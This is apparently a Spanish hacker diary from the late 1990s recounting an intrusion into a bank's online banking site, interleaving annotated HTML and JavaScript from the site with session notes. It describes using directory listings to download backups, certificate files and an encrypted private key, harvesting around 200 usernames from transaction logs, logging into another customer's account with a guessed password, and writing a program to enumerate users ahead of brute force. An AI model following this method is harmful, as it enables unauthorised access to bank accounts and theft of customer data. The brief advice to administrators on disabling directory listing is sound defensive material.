<td align=left><font size=-2 face=Arial>
<b>Ademas, Banca Jones le permite <FONT COLOR=#EE0000 face="Arial">PERSONALIZAR</font> el estilo de sus páginas y la información bancaria de acuerdo a sus necesidades y preferencias.<p>
Introduzca su clave de acceso para entrar en Banca Jones y disfrutar de su nueva oficina en Internet. Si aún no es cliente, pulse <a href="alta.html">ALTA</a> para registrarse en <nobr>Banca Jones.</nobr></b></font>
*** si, voy a disfruta bastante
</td>
</tr>
</table>
</center>

<font size=-2 face=Arial>
<p><hr size=1>Si usted no está en su propio ordenador personal, para garantizar
la confidencialidad de la información, le recomendamos
<a href="javascript:top.security.VerAyuda('ayuda/BCFBorrarCache.html')">
borre la caché del navegador </a>al finalizar la sesión.<hr size=1></font>
*** ;-}

</font>
</td>
</tr>
</table>
</td>
</tr>
</table>
</BODY>
</HTML>

una de las cosas que mas llama la atencion es
<TITLE>Bienvenida a Banco Jones</TITLE>
Observar esto --^-- . O sea, el codigo lo ha escrito una chica. Es importante.

Mas cosas:
<form ACTION="/cgi-bin/BJ/BJ.cgi" METHOD="POST" name = "login">
<input type=hidden name="BJ_ServiceName" value="Jonesnet1to1">
Ya tenemos un bonito CGI que hace cositas.
Como no puedo resistirme, y sigo conectado (telefonica ganando dinero)
desde el navegador selecciono
/cgi-bin/BJ/BJ.cgi
a lo cual me responde presentandome de nuevo la misma ventana con la
solicitud de usuario y password. Ya es hora de hacer cosas de verdad.
Meto un nombre inventado, sin clave.
Me responde que el usuario es incorrecto, o no esta dado de alta. Llamo a
esto respuesta-3
Meto un nombre inventado, con clave inventada.
Me responde que usuario no autorizado. Llamo a esto respuesta-2
Meto mi nombre de usuario, con clave incorrecta.
Responde que la clave de acceso es incorrecta. Llamo a esto respuesta-1
Meto mi nombre de usuario, con clave correcta.
Me presenta una nueva ventana. Dejo que se carge completamente.
Esto lo llamo respuesta-0
Tras algunas pruebas, deduzco que el nombre del usuario y la clave son
sensibles a las mayusculas, que los usuarios comunes (root, guest, ...)
no estan en el sistema, y que el servidor tarda bastante en validarme.
Con esto se aprenden varias cosas:
Un metodo escrupuloso y concienzudo permite distinguir casos.
El sistema es bastante rigido (al menos en este aspecto de la validacion)
La clave mide entre 4 y 8 caracteres.
Se establece un SessionID en cuanto conectas, aunque la clave sea incorrecta.
El CGI es de proposito bastante general.

Pues una vez que uso mi usuario, me dedico a hacer unas cuantas cosas.
Lo primero es consultar mis cuentas, y acaba apareciendo esta pagina:

<html>
<head>
<title>Banca Jonesnet. Movimientos de Fondos de inversión</title>
<script>
function SessionLink ()
{
bj_SessionID = "6135151351"
*** este es un numero unico para mi sesion. supongo que sirve para saber
*** quien soy yo, para ir a buscar solo mis datos.
bj_EngineID = "10.910937945.191.23.12.23.12"
*** vaya dato largo.
*** 10.910937945 es cambiante a lo largo del tiempo. el 10 parece ser un
*** numero de secuencia, y el 910937945 referente a mi peticion.
*** me suena como un numero generado por cada vez que se ejecuta el CGI.
*** 191.23.12.23 lo he cambiado, pero es www.bancojones.es

bj_ServiceID = "103"

SLink = "/cgi-bin/bj/bj.cgi?bj_EngineID=" + bj_EngineID + "&bj_ServiceID=" + bj_ServiceID + "&bj_Operation=Dyn_SessionLink&bj_SessionID=" + bj_SessionID + "&form%25destination_type=template"
*** asi es como se debe componer un string: poco a poco. bien programado
return SLink
}

function GenLink (attrib, template)
{
var link
attrib = top.security.ascii2hex(attrib);
link = top.jonesnet.main.SessionLink ()
link += "&form%25destination=%2Ftemplates%2FJonesnet1to1%2F" + template+ ".html.tmpl&form%25attribute=" + escape(attrib)
top.jonesnet.main.location.href = link
*** o sea: se manda un comando bastante largo como argumento para el CGI
*** en ese comando se dice la sesion, el servicio, la plantilla (template)
*** y datos variables: ej, para una consulta de un fondo, su identificador
*** para un cambio de clave, el usuario (ya autentificado) y la nueva clave
*** para una transferencia, la cuenta origen y la destino
*** pero esto es adelantar acontecimientos. Luego lo vemos mejor.
}

</script>
</head>
<body bgcolor=dddddd>
<br>
<table width=90% align=center border=0>
<tr>
<th align=left width=70% bgcolor=red> <font size=4 face=arial color=white>  Fondos de inversión </font></th>
<th align=right width=30% bgcolor=red><font size=4 face=arial color=white>  Saldo  </font> </th>
</tr>
<tr>
<td bgcolor=white align=left>
FONDOS BUENOS FIM 
<script>
producto1 = 'xxxxyyyyaaabbbcccccccESPPESETA+ESPAÑOLA+++++++++++++++JONES+FBUENOS+FIMJONES+BUENOS+FIM++++++++++++++++++++++++++++++1995-12-1201001+++++++++130.877,00PPPPF'
*** xxxx es el numero de sucursal en la que hice la suscripcion a los bonos
*** yyyy es el numero unico de banco (codigos bancarios)
*** aaa es un identificador del producto
*** bbb es un subidentificador
*** ccccccc es mi numero (indice) de suscripcion
*** xxxxyyyyaaabbbccccccc se le da un alias, que suele ser ccccccc
*** estos numeros se pueden obtener cuando se pide un extracto (o cuando
*** lo mandan por correo)
*** por supuesto que cada producto tiene un numero distinto.
*** PPPP es un numero raro. todavia no se lo que hace.
</script>

<a href = "javascript: GenLink(producto1, 'fondos') ">
ccccccc </a>
</td>
<td bgcolor=white align=right>
197,00
PESETA ESPAÑOLA
</td>
</tr>

<tr>
<td bgcolor=white align=left>
FONDOS MALOS FIM 
<script>
producto2 = 'xxxxyyyyaaabbbcccccccESPPESETA+ESPAÑOLA+++++++++++++++JONES+MALOS+FONDOS+FIM++++++++++++++++++++++++++1992-06-1102003+++++++++359.046,00PPPPF'
</script>

<a href = "javascript: GenLink(producto2, 'fondos') ">
ccccccc </a>
</td>
<td bgcolor=white align=right>
9.341,00
PESETA ESPAÑOLA
</td>
</tr>

<tr>
<td bgcolor=white align=left>
BOLSA  
<script>
producto3 = 'xxxxyyyyaaabbbcccccccESPPESETA+ESPAÑOLA+++++++++++++++BOLSA+JONES+BOLSA+JONES+BOLSA++++++++++1988-01-1190121+++++++++4.027,00PPPPF'
</script>

<a href = "javascript: GenLink(producto3, 'fondos') ">
ccccccc </a>
</td>
<td bgcolor=white align=right>
4.312,00
PESETA ESPAÑOLA
</td>
</tr>

<tr>
<td bgcolor=white align=left>
SFOND 
<script>
producto4 = 'xxxxyyyyaaabbbcccccccESPPESETA+ESPAÑOLA+++++++++++++++SFOND++++SFOND++++++++++++++++++++++++++++++++++++1989-11-2511021+++++++1,00PPPPF'
</script>

<a href = "javascript: GenLink(producto4, 'fondos') ">
ccccccc </a>
</td>
<td bgcolor=white align=right>
433,00
PESETA ESPAÑOLA
</td>
</tr>

<tr>
<td bgcolor=white align=left>
ACCIONES 
<script>
producto5 = 'xxxxyyyyaaabbbcccccccESPPESETA+ESPAÑOLA++++++++++++++++ACCIONES++JONES+ACCIONES++++++++++++++++++++++++++++++++1991-08-1204002+++++++++177,00PPPPF'
</script>

<a href = "javascript: GenLink(producto5, 'fondos') ">
ccccccc </a>
</td>
<td bgcolor=white align=right>
36.423,00
PESETA ESPAÑOLA
</td>
</tr>

<tr>
<td bgcolor=white align=left>
DINERILLO 
<script>
producto6 = 'xxxxyyyyaaabbbcccccccESPPESETA+ESPAÑOLA+++++++++++++++JONES+DINERILLO++JONES+DINERILLO++++++++++++++++++++++++++++1996-01-1201121+++++++344,00PPPPF'
</script>

<a href = "javascript: GenLink(producto6, 'fondos') ">
ccccccc </a>
</td>
<td bgcolor=white align=right>
110,00
PESETA ESPAÑOLA
</td>
</tr>
</table>

<br><br>
<table width=90% align=center border=0>

<tr>
<td align=middle valign=middle bgcolor=red>
<font size=4 face=arial color=white><b>
 Fondo de inversión
DINERILLO
</b></font>
</td></tr>
</table>

<table width=90% align=center border=0>
<tr>
<td align=left bgcolor=silver> <font size=3 face=arial> <b> Nº de oficina </td></font>
<td align=right bgcolor=silver><font size=3 face=arial> <b> Nº de operación  </td> </font>
</tr>
<tr>
<td align=left bgcolor=white>980</td>
<td align=right bgcolor=white>20387</td>
</tr>
<tr>
<td align=left bgcolor=silver><font size=3 face=arial> <b> Revalorización  </td> </font>
<td align=right bgcolor=silver><font size=3 face=arial> <b> Rentabilidad año en curso  </td></font>
</tr>
<tr>
<td align=left bgcolor=white>  6440</td>
<td align=right bgcolor=white> 0.64%</td>
</tr>
<tr>
<td align=left bgcolor=silver><font size=3 face=arial> <b>Rentabilidad últimos 12 meses  </td>
<td align=right bgcolor=silver><font size=3 face=arial> <b>Fecha último valor  </td> </font>
</font>
</tr>
<tr>
<td align=left bgcolor=white> 0.64%</td>
<td align=right bgcolor=white>13-11-1998</td>
</tr>
<tr>
<td align=left bgcolor=silver><font size=3 face=arial> <b> Nº unidades  </td></font>
<td align=right bgcolor=silver><font size=3 face=arial> <b> Nª unidades retenidas  </td> </font>
</tr>
<tr>
<td align=left bgcolor=white>9</td>
<td align=right bgcolor=white> 0</td>
</tr>
<tr>
<td align=center bgcolor=silver colspan=2><font size=3 face=arial> <b> Saldo final  </td> </font>
</tr>
<tr>
<td align=center bgcolor=white colspan=2> 
6.440</td>
</tr>
</table>

<br><br>

<table width=90% align=center border=0>
<tr><td colspan=5 align=center valign=bottom bgcolor=red>
<font size=4 face=arial color=white><b>

 Avance de movimientos al
04/12/98
Fondo de inversión  
ccccccc

<br>
</b></font>

</td>
</tr>
<tr><th bgcolor=silver align=left><font size=3 face=arial> Concepto </th></font>
<th bgcolor=silver align=right><font size=3 face=arial> Importe </th></font>
<th bgcolor=silver align=right><font size=3 face=arial> Fecha de operación  </th></font>
<th bgcolor=silver align=right><font size=3 face=arial> Fecha valor  </th></font>
<th bgcolor=silver align=right><font size=3 face=arial> Nº unidades <br> /acciones </th></font>
</tr>
<!-- incluir objeto dinámico para movimientos -->
*** vaya, otro comentario. se agradece

<tr>
<td align=left bgcolor=white> SUSCRIPCION </td>
<td align=right bgcolor=white> 2,00 </td>
<td align=right bgcolor=white> 11-08-1988 </td>
<td align=right bgcolor=white> 11-08-1988 </td>
<td align=right bgcolor=white> 10 </td>
</tr>

<tr>
<td align=left bgcolor=white> REVALORIZ. </td>
<td align=right bgcolor=white> 42,00 </td>
<td align=right bgcolor=white> 19-01-1998 </td>
<td align=right bgcolor=white> 19-01-1998 </td>
<td align=right bgcolor=white> 0 </td>
</tr>

<tr>
<td align=left bgcolor=white> SALDO FINAL </td>
<td align=right bgcolor=white> 12,00 </td>
<td align=right bgcolor=white> 04-12-1998 </td>
<td align=right bgcolor=white> 04-12-1998 </td>
<td align=right bgcolor=white> 0 </td>
</tr>
</table>

<br><br>
<table width=90% align=center>
<tr><td align=center>
<!-- Dynamic Object. Access advertisement from advert database -->
*** vaya, texto en ingles. Seguramente de copiar & pegar.
*** a ver si encuentro algun server que use esta nomenclatura.

<FORM ACTION="/cgi-bin/bj/bj.cgi" METHOD=POST>
<INPUT TYPE=HIDDEN NAME="bj_SessionID" VALUE="6135151351">
<INPUT TYPE=HIDDEN NAME="bj_EngineID" VALUE="10.910937945.191.23.12.23.12">
<INPUT TYPE=HIDDEN NAME="bj_ServiceName" VALUE="Jonesnet1to1">
*** ya, los datos esperados

<script>
var enlace=0
enlace_url="javascript:top.security.AbrirNoSeguro('marketing/mixto.html')"
enlace_tmpl=""
if (enlace_url.length > 0) {
enlace = 1
}
else if (enlace_tmpl.length > 0) {
enlace = 2
indice=enlace_tmpl.indexOf(".html.tmpl")
enlace_tmpl=enlace_tmpl.substring(0,indice)
}

if (enlace == 1) {
document.write ('<a href="'+enlace_url+'">')
}
else if (enlace == 2) {
document.write ('<a href="javascript:GenLink(0,'+ "'"+enlace_tmpl +"'"+ ')">')
*** aqui esta: se genera una nueva pagina en base a las plantillas.
*** supongo que el CGI toma los datos del usuario, hace las busquedas, y
*** rellena la plantilla, componiendo una pagina que le envia al navegador.
}
</script>
<img src="/bj/images/animix.gif"
WIDTH="450"
HEIGHT="60"
ALT="Fondos Mixtos"
BORDER=0>
<script>
if (enlace > 0){
document.write ('</a>')
}
</script>


<INPUT TYPE=HIDDEN NAME="bj_Operation" VALUE="Dyn_AdReceive">
</FORM>
</td></tr>
</table>

<br><br>
<table width=90% align=center>
<tr>
<td valign=top align=center width=50%>
<a href="javascript:GenLink('1','buzon')" TARGET="main">
*** pues si que hace cosas la funcion GenLink !
<img src="/bj/images/bbuzons.gif" border=0 height=24 width=142></a>
</td>
<td valign=top width=50% align=center>
<a href="javascript:top.security.VerAyuda('ayuda/BCFAyuda.html')">
<img src=/bj/images/bayuda.gif border=0 height=24 width=78></a>
</td>
</tr>
</table>

</body>
</html>

*** fin de la consulta

Y ahora, una solicitud de transferencia.
No la voy a incluir, porque es un poco larga, pero los datos que se mandan
al servidor son:
-cuenta origen (una de las mias), mediante el numero unico ccccccc
-cuenta de destino, bien con el CCC (20 digitos) si es del Banco Jones,
o bien con el CCC y el nombre del titular si es de otro banco.
-se solicita de nuevo la clave. Supongo que para verificar otra vez.
-el SessionID
-el bj_EngineID

Pero me dice que el servicio no esta disponible. Otro dia lo intentare.

Aprovecho y me conecto con www.netscape.com, saco los manuales del Netscape
Server, y aprendo basicamente como funciona. Por cierto, el 3.0K indica
que es la version para NT y SUN, con el parche K-esimo (el mas reciente)
Esto interesa: el administrador/a esta a la ultima.

bueno. corto la conexion y estudio las trazas, logs y cache.

Tercera sesion. 12 de Noviembre:
El estudio del manual revela cosas interesantes: donde se guardan los
certificados, y como se administra. Por supuesto no dice como crackearlo.

Voy dispuesto a sacar todos los datos que pueda. Hasta ahora he hecho cosas
de usuario, pero ya es hora de actuar 'a lo hacker': con cuidado.
Ya tengo una idea del arbol de directorios del site:
/BJ/templates/Jonesnet1to1/
/images/
/ayuda/
/images/
/ayuda/
/cgi-bin/BJ/bj.cgi
/boletin.cgi
/formularios.cgi
/financiero.cgi
/jonesnet/lineajones.pl
/control-servicio.cgi
/accionistas/cotizacion.cgi
/index.cgi
/fondos2.pl
/enviacom.cgi
/belec/cliente.cgi
/democliente.cgi
/director_cli.cgi
/incidencias_cli.cgi
/fon2/estef2.html
/images/
/mc-icons/

Asi que, por ejemplo, engancho el navegador a
www.bancojones.es/templates/Jonesnet1to1/
Y para gran sorpresa, ­me saca el directorio completo!
pruebo con
www.bancojones.es/mc-icons/
y tambien me saca el directorio
mas osado, conecto con
www.bancojones.es/cgi-bin/
pero me dice que no lo encuentra, es normal.
O sea, cuando no hay un index.html saca el directorio. Esto esta
perfectamente explicado en el manual del Netscape Server.
Aviso para todos los administradores. Haced el favor de configurar bien las
cosas, que la gente se pasa.
En NetscapeServer, se usa "AutoDirectory=False", en NCSA-httpd, usar
un .htaccess con deny=all para el directorio /
y para CERN-httpd, usar Directory Listing 0
con Internet Information Server, por defecto esta a OFF
en Notes Domino Server, no se puede activar.

y en cada uno de los directorios, me llevo todos los archivos que puedo.
Asi tengo todo lo que puedo: nunca se tiene suficiente informacion.

Y por eso descubro /belec/seg.htm.tar
Son 140 Kb que rapidamente cojo (aunque tardan en bajarse. recordar que tengo
un modem de 14.4 )
Y corto la conexion. Me he bajado casi 1 Mg de ficheros, y todavia me queda.
una vez bajado y des-tareado el seg.htm.tar , contiene
Tar: blocksize = 32
drwxr-xr-x 1002/601 0 _correo/
rw-r--r-- 1002/601 2274 _correo/correo.html
rw-r--r-- 1002/601 405 _correo/correo_fr.html
rw-r--r-- 1002/601 2672 _correo/director.html
rw-r--r-- 1002/601 3141 _correo/incidencias.html
rw-r--r-- 1002/601 2786 _correo/infocom.html
rw-r--r-- 1002/601 2700 _correo/sugecom.html
lrwxrwxrwx 1002/601 0 _correo/.Config
symlink to ../.Config
rw-r--r-- 1002/601 2041 _correo/menu_excli.html
drwxr-xr-x 1002/601 0 _correo_nocli/
rw-r--r-- 1002/601 1885 _correo_nocli/comentari.html
rw-r--r-- 1002/601 412 _correo_nocli/correo_fr.html
rw-r--r-- 1002/601 644 _correo_nocli/correo_inf.html
rw-r--r-- 1002/601 1855 _correo_nocli/infocom.html
rw-r--r-- 1002/601 903 _correo_nocli/nocli.html
lrwxrwxrwx 1002/601 0 _correo_nocli/.Config
symlink to ../.Config
drwxr-xr-x 1002/601 0 images/
rw-r--r-- 1002/601 10528 images/bclientes.gif
rw-r--r-- 1002/601 838 images/borrar.gif
y algunos otros *.gif

por supuesto que existen los directorios _correo y _correo_nocli, asi que
esta claro que esto es una copia de seguridad.
Lo que se aprende de esto es:
-es un .tar, asi que el sistema es UNIX. casi seguro, SUN (S.O. Solaris)
-hay un grupo con numero 1002 , y un usuario con numero 601
-tambien hay un grupo con numero 1010 , y un usuario con numero 10
-los permisos de los archivos son de lectura para todos, escritura solo para
el propietario. Lo tipico.
-hay un linkado a .Config, que se refiere a ../.Config
Investigando este dato
www.bancojones.es:443/.Config (equivale a https:www.bancojones.es/.Config)
se tiene
<TITLE>Index of /.Config/</TITLE>
<h1>Index of /.Config/</h1>
<PRE><IMG SRC="/mc-icons/blank.gif" ALT=" "> Name Last modified Size Description
<HR>
<A HREF="/" NAME="/"><IMG SRC="/mc-icons/back.gif" ALT="[DIR]" BORDER=0> Parent Directory</a>
<A HREF="000000000.cnf" NAME="000000000.cnf"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 000000000.cnf</a> 11-Jun-97 09:21 1K
<A HREF="000000000.err" NAME="000000000.err"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 000000000.err</a> 20-Nov-98 18:41 99K
<A HREF="000000000.nop" NAME="000000000.nop"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 000000000.nop</a> 22-Nov-98 06:29 1K
<A HREF="000000000.rep" NAME="000000000.rep"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 000000000.rep</a> 22-Nov-98 06:29 142K
<A HREF="000000000.req" NAME="000000000.req"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 000000000.req</a> 22-Nov-98 06:29 134K
<A HREF="043656461.cert" NAME="043656461.cert"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043656461.cert</a> 03-Oct-97 13:09 1K
<A HREF="043656461.cnf" NAME="043656461.cnf"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043656461.cnf</a> 03-Oct-97 13:09 1K
<A HREF="043656461.err" NAME="043656461.err"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043656461.err</a> 03-Oct-97 13:09 0K
<A HREF="043656461.key" NAME="043656461.key"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043656461.key</a> 03-Oct-97 13:09 1K
<A HREF="043656461.nop" NAME="043656461.nop"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043656461.nop</a> 03-Oct-97 13:09 1K
<A HREF="043656461.rep" NAME="043656461.rep"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043656461.rep</a> 03-Oct-97 13:09 0K
<A HREF="043656461.req" NAME="043656461.req"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043656461.req</a> 03-Oct-97 13:09 0K
<A HREF="043667674.cert" NAME="043667674.cert"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043667674.cert</a> 22-Aug-97 11:59 1K
<A HREF="043667674.cnf" NAME="043667674.cnf"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043667674.cnf</a> 18-Sep-97 13:05 1K
<A HREF="043667674.err" NAME="043667674.err"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043667674.err</a> 25-Nov-97 02:25 20K
<A HREF="043667674.key" NAME="043667674.key"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043667674.key</a> 22-Aug-97 11:59 1K
<A HREF="043667674.nop" NAME="043667674.nop"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043667674.nop</a> 25-Nov-97 02:21 1K
<A HREF="043667674.rep" NAME="043667674.rep"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043667674.rep</a> 25-Nov-97 02:22 46K
<A HREF="043667674.req" NAME="043667674.req"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> 043667674.req</a> 25-Nov-97 02:21 43K
<A HREF="GetVariableEntorno" NAME="GetVariableEntorno"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> GetVariableEntorno</a> 10-Feb-98 15:14 1K
<A HREF="cacert.pem" NAME="cacert.pem"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> cacert.pem</a> 03-Oct-97 13:09 1K
<A HREF="cliente.err" NAME="cliente.err"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> cliente.err</a> 03-Oct-97 13:09 0K
<A HREF="entorno.plb" NAME="entorno.plb"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> entorno.plb</a> 23-Sep-97 11:40 1K
<A HREF="entorno_infovia.conf" NAME="entorno_infovia.conf"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> entorno_infovia.conf</a> 22-Jun-98 09:39 1K
<A HREF="entorno_internet.conf" NAME="entorno_internet.conf"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> entorno_internet.conf</a> 22-Jun-98 09:40 1K
<A HREF="pago.err" NAME="pago.err"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> pago.err</a> 29-Oct-98 11:45 9K

O sea, que dejan que cualquiera acceda a este directorio, y ademas
hay varios nombres base: 000000000 , 043656461 , y 043667674
cada uno tiene un .cert, un .cnf, un .err, un .key, .nop, .req y .rep
pues nada, me los llevo todos

el .cert (del 043667674) tiene
-----BEGIN CERTIFICATE-----
MIICXTCCAcagAwIBAgIBAzANBgkqhkiG9w0BAQQFADA5MQswCQYDVQQGEwJFUzEY
(lineas borradas para favorecer el anonimato)
EOJPP/uvoLWoOnF+bnkVlV6YPQJD+B6Aaw53Ak0I9fPz
-----END CERTIFICATE-----
Mira que bien, esto es el certificado. No hay problema en que sea publico,
pero no es muy adecuado. en fin, asi es la vida. Mal para unos, bien para mi.
Por cierto, mide 825 bytes. Un numero raro.
El .cnf contiene
sserver=/C=ES/O=Banco Jones/OU=DTS_TPV/CN=tpvserv.bancojones.es/Email=tpvadmin@jones.com
host=tpvserv.bancojones.es
port=9997
nombcom=RECOLETOS CIA EDITORIAL S.A.
cert=.Config/043667674.cert
key=.Config/043667674.key
CAcert=.Config/cacert.pem
imglogo=/tpv/images/logobs.gif
imgcom=/tpv/images/recoletos.gif
email=graficos@recoletos.es
nextcgi=/cgi-bin/tpv/cliente.cgi

Vaya, esto es una configuracion de certificado. No parece ser el verdadero,
sino una prueba, poque el nextcgi=/cgi-bin/tpv/cliente.cgi no lo he visto.
en fin, es algo a tener en cuenta.
Los otros .cnf tampoco parecen ser buenos; quizas sirvan para otros servicios.

Veamos ahora el .key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,3CA3A98CF9D9ECBC

jZLLncDyfNt+kioDMemxaXbFndpCPR+IHdRqu8WfZEfaGHit38Bco701PALZ20G8
(lineas borradas para favorecer el anonimato)
BPLOQcRLaG5g/8BtOoH0myOYOvJjnNCskcu75Y+f8UO4W/d0HSiAqQ==
-----END RSA PRIVATE KEY-----
Vaya vaya, que es lo que tenemos aqui! la clave privada!
Pero root, como puedes dejar estas cosas asi. Cualquiera puede hacerse pasar
por ti.
O sea, que al final si que usa RSA (con MD5).

El .nop contiene 4 numeros. parece un contador.
El .err contiene lineas del tipo

971125:022533:11614:Operacion:Direccion email incorrecta.
970922:163245:15223:Operacion:Error al intentar conectar con el servidor de licencias en el puerto 9998.
971003:134604:13710:Operacion:Error al intentar conectar con el servidor tpvserv.bancojones.es.
970929:212912: 196:Operacion:Intento de doble operacion idcom=043667674 ref=Servicio de Graficos EXPANSION.
971118:173629: 3840:Operacion:No se pudieron abrir certificado .Config/043667674.cert o clave .Config/043667674.key.
970923:140616:22172:Operacion:Numero de tarjeta de credito no introducido.
970918:115806:19749:Operacion:Numero de tarjeta incorrecto.
971124:101746:17185:Operacion:Titular no introducido.
He borrado las que decian lo mismo, pero a distintas horas.
Al parecer, son los distintos errores que se pueden generar. Pero mas bien me
parecen que son del dia de puesta en marcha del sistema, porque no creo que
el "Error al intentar conectar con el servidor

  
tpvserv.bancojones.es" lo
tengan todavia sin solucionar.

El .req y el .rep son bastante parecidos, y contienen entradas asi:
970917:195505:16513:043667674 :VENTA:000001:Lobo:lobo@kk.es:000000000005:Pruebas piloto TPV: :180
970918:094944: 6995:043667674 :VENTA:000002:Yo:g@pp.es:000000000005:Pruebas piloto TPV: :180
970918:121351:21454:043667674 :VENTA:000003:Jose:j@r.es:000000000000:Servicio de Graficos DIARIO EXPANSION: :644
970918:121423:21531:043667674 :VENTA:000004:Jose:j@r.es:000000000000:Servicio de Graficos DIARIO EXPANSION: :644
970918:121752:21950:043667674 :VENTA:000005:Jose:j@r.es:000000000000:Servicio de Graficos DIARIO EXPANSION: :644
970918:122304:22378:043667674 :VENTA:000006:Jose:j@r.es:000000000250:Servicio de Graficos DIARIO EXPANSION:620851:000
970923:092504: 8286:043667674 :VENTA:000007:G:g@pp.es:000000000005:Pruebas piloto TPV: :180
970924:122948:10171:043667674 :VENTA:000012:Sa:sa@sa.com:000000000001:Pruebas piloto TPV: :180
970925:110313: 2137:043667674 :VENTA:000013:E.M:E@R.ES:000000000250:Servicio de Graficos EXPANSION:047901:000
970929:093424: 6205:043667674 :VENTA:000014:Javier:j@kkk.es:000000000250:Servicio de Graficos EXPANSION:421906:000

Los nombres han sido cambiados, pero se aprecian varias cosas:
aparece la hora, numero identificador, id_servicio(043667674), tipo (VENTA),
nombre que ha introducido el usuario, direccion de correo, numero secuencial,
solicitud, y algo que parece un codigo de error.
Gracias a este listado obtuve gran cantidad (200) de nombres de usuario.
El unico archivo que tiene fecha de hoy es 000000000.rep y 000000000.req, lo
que me asegura que los otros son pruebas. Pero los nombres tambien valen.
Usando mi cuenta de usuario, intente provocar peticiones erroneas para
aparecer en estos listados, pero no lo consegui. Supongo que no solicite
el servicio adecuado.

El fichero cacert.pem contiene un certificado. Creo que es el propio de la
entidad certificadora (para anidamiento de certificados), pero no tengo
ninguna pista que lo asegure. simplemente aparece en el .cnf

El cliente.err esta vacio.

El GetVariableEntorno es un script que llama a entorno.plb
El entorno.plb contiene un script en lenguaje perl. Simplemente sabe si
vienes por Internet o por Infovia, para nombrar el servidor (jones.com o
jones.inf). Vienes de infovia si tu direcion empieza por 10.xxx.yyy.zzz
Lo interesante es que la primera linea es #!/usr/local/bin/perl
Sin lugar a dudas, estoy en un UNIX, el administrador no se quiere complicar
la vida usando chroot, y el estilo de programacion es diferente.
Los datos los saca de entorno_infovia.conf o de entorno_internet.conf para
decidir el nombre del servidor, el e-mail del admin, las direciones del
gateway, el protocolo de SSL y otras direcciones de e-mail.

Tambien aparece una referencia al directorio /tmp , ­como no se me habia
ocurrido antes!
Otra tecnica basica del hackeo es el trashing: buscar en la basura. Y la
basura se guarda en /tmp/

Cuarta sesion. 20 de Noviembre:
Lo primero, buscar en la basura. Apunto hacia
https:www.bancojones.es/tmp/
Aqui encontre cosas interesantes:
-un total de 7 ficheros , uno por cada dia de la semana.
-un .tar llamado flexlang.tar
-un par de scripts
Todo esto eran los residuos de una aplicacion que toma las trazas (logs)
de los sitios visitados, y hace estadisticas (el mas visitado, el que mas
datos transfiere, el que mas esta en el cache del server, ...)
Con todo esto obtuve esta informacion:
-El servidor actua como firewall-proxy-cache tanto para los de dentro como
para los de fuera
-hay otro servidor interno: www2.bancojones.es que guarda las aplicaciones
de ofimatica (BACKOFFICE). Tambien usa CGIs, pero el acceso solicita clave,
como pude comprobar en mi siguiente conexion.
-encontre unos ejecutables, concluyendo que el S.O es Solaris 2.5.1 para
una Sparc. Formato Elf. Esto son buenas noticias, porque solo tengo que
contactar con un ISP amiguete mio para que me deje probar la suya.
-usan el programa flexlang (incluido con el soft del NetscapeServer) para
hacer las estadisticas.
-tienen logs de las peticiones entrantes y salientes. Cada dia tienen 1Mg
de log. Tambien guardan los accesos de los radius.
Por si no lo habia dicho, el Banco Jones tambien actua como ISP.
-la gente trabaja a todas horas, incluso a las 4 de la madrugada
-los empleados del banco Jones se conectan muchas horas al chat

Pero empece a probar usuarios que saque del .req anterior. Unos de ellos me
daban respuesta-2 (usuario desconocido o no autorizado), y
algunas respuesta-1 (clave incorrecta)
­Y el corazon casi se me salta cuando recibo respuesta-0 !
Un usuario tenia la clave igual a su nombre.
En este momento, YA habia cometido un delito. Dejare las implicaciones
morales para el final.
Pude ver su cuenta corriente, sus transacciones, ...
Y tambien saque varias conclusiones:
-No existe un metodo para revocar claves de usuarios si fallas muchas veces.
-No existen normas de eleccion de claves. Solo entre 4 y 8 caracteres.
-Las mayusculas y minusculas _si_ importan (esto ya lo sabia)
-Hay gente tonta
Al final, de 30 nombres probados, 4 eran validos pero desconocia la clave,
y otro era un pardillo. exito parcial del 13% y total del 3%
Asi que me hice un programa (Java es bueno para las comunicaciones) para
sacar todos los usuarios. Total, 17 validos. Lamentablemente no saque
ninguna clave mas. Pero ya habra tiempo para un ataque brute-force.
(Nota: incluiria el codigo, pero es muy cutre)
Tardo mas de lo esperado, porque la validacion en el servidor es muy lenta.

Probe a coger
/cgi-bin/
/cgi-bin/BJ/
/cgi-bin/BJ/index.cgi
/cgi-bin/BJ/financiero.cgi
pero no hubo suerte. A titulo formativo, tambien intente:
/cgi-bin/BJ/financiero.c -> por si se habian dejado el fuente
/cgi-bin/BJ/financiero.c~ -> por si se habian dejado una copia del fuente
/cgi-bin/BJ/financiero.bak
